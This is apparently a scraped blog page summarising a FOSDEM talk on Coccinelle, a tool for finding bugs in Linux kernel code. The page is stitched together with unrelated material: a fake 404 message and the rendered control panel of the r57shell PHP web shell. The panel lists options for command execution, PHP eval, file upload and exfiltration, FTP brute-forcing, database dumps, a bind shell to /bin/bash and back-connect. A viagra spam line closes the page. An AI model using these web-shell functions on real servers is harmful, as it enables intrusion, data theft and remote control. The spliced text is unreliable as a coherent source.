Kernel Bench

Kernel News and How To

Bugs are pervasive in code. And when one finds one bug there are often others of the same type lurking in other parts of the code base. The difficulty then is how to find them efficiently within thousands or millions of lines of code.

by Julia Lawall

At the University of Copenhagen, in collaboration with researchers in Paris and Aalborg, we have been developing the Coccinelle program matching and transformation engine (http://coccinelle.lip6.fr). Coccinelle provides a language, SmPL (semantic patch language), for writing complex code patterns that may perform simple searching or that can be annotated with transformation information. A novelty of Coccinelle is that these patterns look very similar to ordinary source code. Nevertheless, SmPL patterns can be made generic using pattern variables, and are matched according to the semantics of the source code rather than the line-by-line syntax, and hence we have given them the name semantic patches.

In this talk, we will introduce Coccinelle and the SmPL language, and then illustrate its use with examples based on bugs that we have found and fixed in Linux kernel code. In particular, we will focus on how the source-code like language makes it easy to customize the bug finding process to very specific problems and to fine-tune semantic patches to reduce the number of false positives, which plague automated bug finding tools. To date, over 400 patches derived from the use of Coccinelle have been accepted into the Linux kernel source tree.

Coccinelle is a program matching and transformation system targeting C code. Coccinelle provides a language, SmPL (semantic patch language), for writing complex code patterns that may perform simple searching or that can be annotated with transformation information. A novelty of Coccinelle is that these patterns look very similar to ordinary source code. Nevertheless, SmPL patterns can be made generic using pattern variables, and are matched according to the semantics of the source code rather than the line-by-line syntax.

In developing Coccinelle, we have particularly targeted Linux kernel code. Nevertheless, Coccinelle has been applied in the context of other open source software projects, such as OpenSSL and Wine. To date, over 400 patches derived from the use of Coccinelle have been accepted into the Linux Kernel Source tree.

Links:
?http://coccinelle.lip6.fr

FOSDEM (Free and Open Source Development European Meeting) is a European event centered around Free and Open Source software development. It is aimed at developers and all interested in the Free and Open Source news in the world. Its goals are to enable developers to meet and to promote the awareness and use of free and open source software. More info at http://fosdem.org

Duration : 0:15:27


Technorati Tags: , , , ,

No Comments :(

r57shell 404 Not Found

404 Not Found

The server can not find the requested page:

127.0.0.1/r57shell/version.php?version=124 (port 80)

Please forward this error screen to 127.0.0.1's WebMaster.


   !  r57shell 1.24   07-02-2012 23:57:39  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]
  safe_mode: OFF  PHP version: 5.2.17  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: ON  Oracle: OFF
  Disable functions : NONE
  HDD Free : 340.91 GB HDD Total : 802.94 GB
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 

   Linux useast6.myserverhosts.com 2.6.18-338.5.1.el5.lve0.8.29 #1 SMP Sat Apr 23 01:52:48 EEST 2011 x86_64 x86_64 x86_64 G
   -
   linux-gnu
   Apache
   uid=1610(kernelx7) gid=1598(kernelx7) groups=1598(kernelx7)
   /home/kernelx7/public_html   ( drwxr-x--- )
Executed command: ls -lia
:: Execute command on server  ::
Run command ?
Work directory ?    
:: Edit files  ::
File for edit ?    
:: Aliases  ::
         Select alias ?        
:: Find text in files  ::
Find text ?    
In dirs ? * ( /root;/home;/tmp )
Only in files ?* ( .txt;.php;.htm )
:: Search text in files via find  ::
Text for find ?    
Find in folder ? * ( /root;/home;/tmp )
Find in files ? * you can use regexp
:: Eval PHP code  ::

 
:: Upload files on server  ::
Local file ?
 New name ?    
:: Upload files from remote server  ::
With ?  Remote file ?
Local file ?    
:: Download files from server  ::
file ?    
Archivation ? without archivation zip gzip bzip
:: FTP  ::
Download files from remote ftp-server
FTP-server:port ?
Login ?
Password ?
File on ftp ?
Local file ?
Transfer mode ?
Send file to remote ftp server
FTP-server:port ?
Login ?
Password ?
Local file ?
File on ftp ?
Transfer mode ?
:: FTP-bruteforce  ::
FTP-server:port ?    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Mail  ::
Send email
To ?
From ?
Subj ?
Mail ?
Send file to email
To ?
From ?
Subj ?
Local file ?
Archivation ? without archivation zip gzip bzip
:: Databases  ::
Show database structure
Type ?
Port ?
Login ?
Password ?
show tables ?
show columns ?
Dump database table
Type ?
Port ?
Login ?
Password ?
Database ?
Table ?
Save dump in file ?
file ?
Run SQL query
Type ?
Port ?
Login ?
Password ?
Database ?
SQL query ?

:: Net  ::
Bind port to /bin/bash
Port ?
Password for access ?
Use ?
back-connect
IP ?
Port ?
Use ?
datapipe
Local port ?
Remote host ?
Remote port ?
Use ?
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.24 ]---o


192.168.1.1
100 mg viagra